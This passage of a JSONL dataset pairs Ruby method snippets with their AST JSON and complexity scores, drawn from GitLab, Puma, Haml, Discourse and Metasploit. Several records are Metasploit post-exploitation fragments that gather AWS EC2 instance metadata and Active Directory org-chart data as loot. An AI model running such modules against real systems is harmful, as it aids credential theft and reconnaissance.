end","complexity_score":41.7,"ast_json":"{\"type\":\"def\",\"children\":[\"refresh_merge_requests!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"GitalyClient\"]},\"allow_n_plus_1_calls\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"find_new_commits\"]}]},{\"type\":\"send\",\"children\":[null,\"close_upon_missing_source_branch_ref\"]},{\"type\":\"send\",\"children\":[null,\"post_merge_manually_merged\"]},{\"type\":\"send\",\"children\":[null,\"link_forks_lfs_objects\"]},{\"type\":\"send\",\"children\":[null,\"reload_merge_requests\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_requests_for_source_branch\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mr\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"outdate_suggestions\",{\"type\":\"lvar\",\"children\":[\"mr\"]}]},{\"type\":\"send\",\"children\":[null,\"abort_auto_merges\",{\"type\":\"lvar\",\"children\":[\"mr\"]}]},{\"type\":\"send\",\"children\":[null,\"mark_pending_todos_done\",{\"type\":\"lvar\",\"children\":[\"mr\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"abort_ff_merge_requests_with_auto_merges\"]},{\"type\":\"send\",\"children\":[null,\"cache_merge_requests_closing_issues\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_requests_for_source_branch\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mr\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"branch_added_or_removed?\"]},{\"type\":\"send\",\"children\":[null,\"comment_mr_branch_presence_changed\",{\"type\":\"lvar\",\"children\":[\"mr\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"notify_about_push\",{\"type\":\"lvar\",\"children\":[\"mr\"]}]},{\"type\":\"send\",\"children\":[null,\"mark_mr_as_draft_from_commits\",{\"type\":\"lvar\",\"children\":[\"mr\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"disabled?\",{\"type\":\"sym\",\"children\":[\"split_refresh_worker_web_hooks\"]},{\"type\":\"ivar\",\"children\":[\"@current_user\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_mr_web_hooks\",{\"type\":\"lvar\",\"children\":[\"mr\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"disabled?\",{\"type\":\"sym\",\"children\":[\"split_refresh_worker_pipeline\"]},{\"type\":\"ivar\",\"children\":[\"@current_user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@push\"]},\"branch_removed?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"refresh_pipelines_on_merge_requests\",{\"type\":\"lvar\",\"children\":[\"mr\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request_activity_counter\"]},\"track_mr_including_ci_config\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mr\"]},\"author\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_request\"]},{\"type\":\"lvar\",\"children\":[\"mr\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute_async_workers\"]},{\"type\":\"true\",\"children\":[]}]}]}","id":"72f5b23c-4e64-4be1-af84-e552a4719fe5"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_pumactl.rb","start_line":261,"raw_source":"def test_control_ssl_ipv6\n    skip_unless :ssl\n    control_ssl '[::1]'\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_control_ssl_ipv6\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_unless\",{\"type\":\"sym\",\"children\":[\"ssl\"]}]},{\"type\":\"send\",\"children\":[null,\"control_ssl\",{\"type\":\"str\",\"children\":[\"[::1]\"]}]}]}]}","id":"cb878636-48b9-4a37-ae96-c13b2161ec6b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/base_mutation.rb","start_line":58,"raw_source":"def self.authorized?(object, context)\n      auth = ::Gitlab::Graphql::Authorize::ObjectAuthorization.new(:execute_graphql_mutation, authorization_scopes)\n      return true if auth.ok?(:global, context[:current_user],\n        scope_validator: context[:scope_validator])\n\n      # in our mutations we raise, rather than returning a null value.\n      raise_resource_not_available_error!\n    end","complexity_score":8.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"authorized?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]},{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"auth\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Graphql\"]},\"Authorize\"]},\"ObjectAuthorization\"]},\"new\",{\"type\":\"sym\",\"children\":[\"execute_graphql_mutation\"]},{\"type\":\"send\",\"children\":[null,\"authorization_scopes\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth\"]},\"ok?\",{\"type\":\"sym\",\"children\":[\"global\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"current_user\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope_validator\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scope_validator\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"raise_resource_not_available_error!\"]}]}]}","id":"2ea09160-a540-4a64-8b82-1db1863e9016"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/groups/count_service.rb","start_line":13,"raw_source":"def initialize(group, user = nil)\n      @group = group\n      @user = user\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]},{\"type\":\"optarg\",\"children\":[\"user\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@group\",{\"type\":\"lvar\",\"children\":[\"group\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}","id":"28120a9a-9f4b-40e8-8296-ecaaf43b4ad8"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/helper_test.rb","start_line":147,"raw_source":"def test_form_for; skip\n    # FIXME: current HAML doesn't do proper indentation with form_for (it's the capture { output } in #form_for).\n    def @base.protect_against_forgery?; false; end\n    rendered = render(<<HAML, :action_view)\n= form_for OpenStruct.new, url: 'foo', as: :post do |f|\n  = f.text_field :name\nHAML\n    assert_match(/<(form|div)[^>]+><input/, rendered)\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_form_for\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip\"]},{\"type\":\"defs\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@base\"]},\"protect_against_forgery?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"rendered\",{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"= form_for OpenStruct.new, url: 'foo', as: :post do |f|\\n\"]},{\"type\":\"str\",\"children\":[\"  = f.text_field :name\\n\"]}]},{\"type\":\"sym\",\"children\":[\"action_view\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<(form|div)[^>]+><input\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"rendered\"]}]}]}]}","id":"6e3adc6b-50c7-4432-9443-c39540154709"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/prometheus_helpers.rb","start_line":102,"raw_source":"def stub_all_prometheus_requests(environment_slug, body: nil, status: 200)\n    stub_prometheus_request(\n      prometheus_query_with_time_url(prometheus_memory_query(environment_slug), Time.now.utc),\n      status: status,\n      body: body || prometheus_value_body\n    )\n    stub_prometheus_request(\n      prometheus_query_with_time_url(prometheus_memory_query(environment_slug), 8.hours.ago),\n      status: status,\n      body: body || prometheus_value_body\n    )\n    stub_prometheus_request(\n      prometheus_query_range_url(prometheus_memory_query(environment_slug)),\n      status: status,\n      body: body || prometheus_values_body\n    )\n    stub_prometheus_request(\n      prometheus_query_with_time_url(prometheus_cpu_query(environment_slug), Time.now.utc),\n      status: status,\n      body: body || prometheus_value_body\n    )\n    stub_prometheus_request(\n      prometheus_query_with_time_url(prometheus_cpu_query(environment_slug), 8.hours.ago),\n      status: status,\n      body: body || prometheus_value_body\n    )\n    stub_prometheus_request(\n      prometheus_query_range_url(prometheus_cpu_query(environment_slug)),\n      status: status,\n      body: body || prometheus_values_body\n    )\n  end","complexity_score":49.75,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_all_prometheus_requests\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"environment_slug\"]},{\"type\":\"kwoptarg\",\"children\":[\"body\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"status\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_prometheus_request\",{\"type\":\"send\",\"children\":[null,\"prometheus_query_with_time_url\",{\"type\":\"send\",\"children\":[null,\"prometheus_memory_query\",{\"type\":\"lvar\",\"children\":[\"environment_slug\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"prometheus_value_body\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"stub_prometheus_request\",{\"type\":\"send\",\"children\":[null,\"prometheus_query_with_time_url\",{\"type\":\"send\",\"children\":[null,\"prometheus_memory_query\",{\"type\":\"lvar\",\"children\":[\"environment_slug\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[8]},\"hours\"]},\"ago\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"prometheus_value_body\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"stub_prometheus_request\",{\"type\":\"send\",\"children\":[null,\"prometheus_query_range_url\",{\"type\":\"send\",\"children\":[null,\"prometheus_memory_query\",{\"type\":\"lvar\",\"children\":[\"environment_slug\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"prometheus_values_body\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"stub_prometheus_request\",{\"type\":\"send\",\"children\":[null,\"prometheus_query_with_time_url\",{\"type\":\"send\",\"children\":[null,\"prometheus_cpu_query\",{\"type\":\"lvar\",\"children\":[\"environment_slug\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"prometheus_value_body\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"stub_prometheus_request\",{\"type\":\"send\",\"children\":[null,\"prometheus_query_with_time_url\",{\"type\":\"send\",\"children\":[null,\"prometheus_cpu_query\",{\"type\":\"lvar\",\"children\":[\"environment_slug\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[8]},\"hours\"]},\"ago\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"prometheus_value_body\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"stub_prometheus_request\",{\"type\":\"send\",\"children\":[null,\"prometheus_query_range_url\",{\"type\":\"send\",\"children\":[null,\"prometheus_cpu_query\",{\"type\":\"lvar\",\"children\":[\"environment_slug\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"prometheus_values_body\"]}]}]}]}]}]}]}","id":"15536689-d142-4d1d-a82f-4c6b7fe3588c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/gather/aws_ec2_instance_metadata.rb","start_line":75,"raw_source":"def run\n    check_curl\n    resp = check_aws_metadata\n\n    print_status('Gathering AWS EC2 instance metadata')\n    metadata = get_aws_metadata(@target_uri, resp)\n\n    metadata_json = JSON.pretty_generate(metadata)\n    file = store_loot('aws.ec2.instance.metadata', 'text/json', session, metadata_json, 'aws_ec2_instance_metadata.json', 'AWS EC2 Instance Metadata')\n\n    if datastore['VERBOSE']\n      vprint_good('AWS EC2 instance metadata')\n      print_line(metadata_json)\n    end\n    print_good(\"Saved AWS EC2 instance metadata to to #{file}\")\n  end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_curl\"]},{\"type\":\"lvasgn\",\"children\":[\"resp\",{\"type\":\"send\",\"children\":[null,\"check_aws_metadata\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Gathering AWS EC2 instance metadata\"]}]},{\"type\":\"lvasgn\",\"children\":[\"metadata\",{\"type\":\"send\",\"children\":[null,\"get_aws_metadata\",{\"type\":\"ivar\",\"children\":[\"@target_uri\"]},{\"type\":\"lvar\",\"children\":[\"resp\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"metadata_json\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"pretty_generate\",{\"type\":\"lvar\",\"children\":[\"metadata\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"file\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"aws.ec2.instance.metadata\"]},{\"type\":\"str\",\"children\":[\"text/json\"]},{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"lvar\",\"children\":[\"metadata_json\"]},{\"type\":\"str\",\"children\":[\"aws_ec2_instance_metadata.json\"]},{\"type\":\"str\",\"children\":[\"AWS EC2 Instance Metadata\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"VERBOSE\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"str\",\"children\":[\"AWS EC2 instance metadata\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"lvar\",\"children\":[\"metadata_json\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Saved AWS EC2 instance metadata to to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]}]}]}","id":"cb398fd7-118f-4815-b581-49dc1379a212"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/rpc/v10/rpc_session.rb","start_line":197,"raw_source":"def rpc_interactive_read(sid)\n    session = _valid_interactive_session(sid)\n\n    unless session.user_output.respond_to?(:dump_buffer)\n      session.init_ui(Rex::Ui::Text::Input::Buffer.new, Rex::Ui::Text::Output::Buffer.new)\n    end\n\n    data = session.user_output.dump_buffer\n    { 'data' => data }\n  end","complexity_score":12.1,"ast_json":"{\"type\":\"def\",\"children\":[\"rpc_interactive_read\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"session\",{\"type\":\"send\",\"children\":[null,\"_valid_interactive_session\",{\"type\":\"lvar\",\"children\":[\"sid\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"user_output\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"dump_buffer\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"init_ui\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Ui\"]},\"Text\"]},\"Input\"]},\"Buffer\"]},\"new\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Ui\"]},\"Text\"]},\"Output\"]},\"Buffer\"]},\"new\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"user_output\"]},\"dump_buffer\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}]}","id":"b5e60903-78f0-499b-aedf-d704bfeee537"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-gamification/lib/discourse_gamification/scorables/like_given.rb","start_line":8,"raw_source":"def self.category_filter\n      return \"\" if scorable_category_list.empty?\n\n      <<~SQL\n        AND t.category_id IN (#{scorable_category_list})\n      SQL\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"category_filter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scorable_category_list\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"AND t.category_id IN (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scorable_category_list\"]}]},{\"type\":\"str\",\"children\":[\")\\n\"]}]}]}]}","id":"fc49d272-450e-4690-b663-e7b2ddcbc8ea"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/make_csv_orgchart.rb","start_line":41,"raw_source":"def run\n    max_search = datastore['MAX_SEARCH']\n    user_fields = ['cn', 'manager', 'description', 'title', 'telephoneNumber', 'department', 'division', 'userPrincipalName', 'company']\n\n    begin\n      qs = []\n      qs << '(objectCategory=person)'\n      qs << '(objectClass=user)'\n      qs << '(!userAccountControl:1.2.840.113556.1.4.803:=2)' if datastore['ACTIVE_USERS_ONLY']\n      qs << '(manager=*)' if datastore['WITH_MANAGERS_ONLY']\n      qs << \"(#{datastore['FILTER']})\" if datastore['FILTER'] != ''\n\n      query_string = \"(&(#{qs.join('')}))\"\n      vprint_status(\"Executing #{query_string}\")\n      q = query(query_string, max_search, user_fields)\n    rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e\n      # Can't bind or in a network w/ limited accounts\n      print_error(e.message)\n      return\n    end\n\n    if q.nil? || q[:results].empty?\n      print_status('No results returned.')\n      return\n    end\n\n    user_fields << 'reports_to'\n    results_table = parse_results(q[:results])\n    print_line results_table.to_s\n    if datastore['STORE_LOOT']\n      stored_path = store_loot('ad.orgchart', 'text/csv', session, results_table.to_csv)\n      print_good(\"CSV Organisational Chart Information saved to: #{stored_path}\")\n    end\n  end","complexity_score":61.1,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"max_search\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MAX_SEARCH\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user_fields\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"cn\"]},{\"type\":\"str\",\"children\":[\"manager\"]},{\"type\":\"str\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"telephoneNumber\"]},{\"type\":\"str\",\"children\":[\"department\"]},{\"type\":\"str\",\"children\":[\"division\"]},{\"type\":\"str\",\"children\":[\"userPrincipalName\"]},{\"type\":\"str\",\"children\":[\"company\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"qs\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"qs\"]},\"<<\",{\"type\":\"str\",\"children\":[\"(objectCategory=person)\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"qs\"]},\"<<\",{\"type\":\"str\",\"children\":[\"(objectClass=user)\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ACTIVE_USERS_ONLY\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"qs\"]},\"<<\",{\"type\":\"str\",\"children\":[\"(!userAccountControl:1.2.840.113556.1.4.803:=2)\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WITH_MANAGERS_ONLY\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"qs\"]},\"<<\",{\"type\":\"str\",\"children\":[\"(manager=*)\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILTER\"]}]},\"!=\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"qs\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILTER\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"query_string\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(&(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"qs\"]},\"join\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"str\",\"children\":[\"))\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_string\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"q\",{\"type\":\"send\",\"children\":[null,\"query\",{\"type\":\"lvar\",\"children\":[\"query_string\"]},{\"type\":\"lvar\",\"children\":[\"max_search\"]},{\"type\":\"lvar\",\"children\":[\"user_fields\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"RuntimeError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"RequestError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"return\",\"children\":[]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"q\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"q\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"results\"]}]},\"empty?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"No results returned.\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_fields\"]},\"<<\",{\"type\":\"str\",\"children\":[\"reports_to\"]}]},{\"type\":\"lvasgn\",\"children\":[\"results_table\",{\"type\":\"send\",\"children\":[null,\"parse_results\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"q\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"results\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results_table\"]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"STORE_LOOT\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stored_path\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"ad.orgchart\"]},{\"type\":\"str\",\"children\":[\"text/csv\"]},{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results_table\"]},\"to_csv\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CSV Organisational Chart Information saved to: 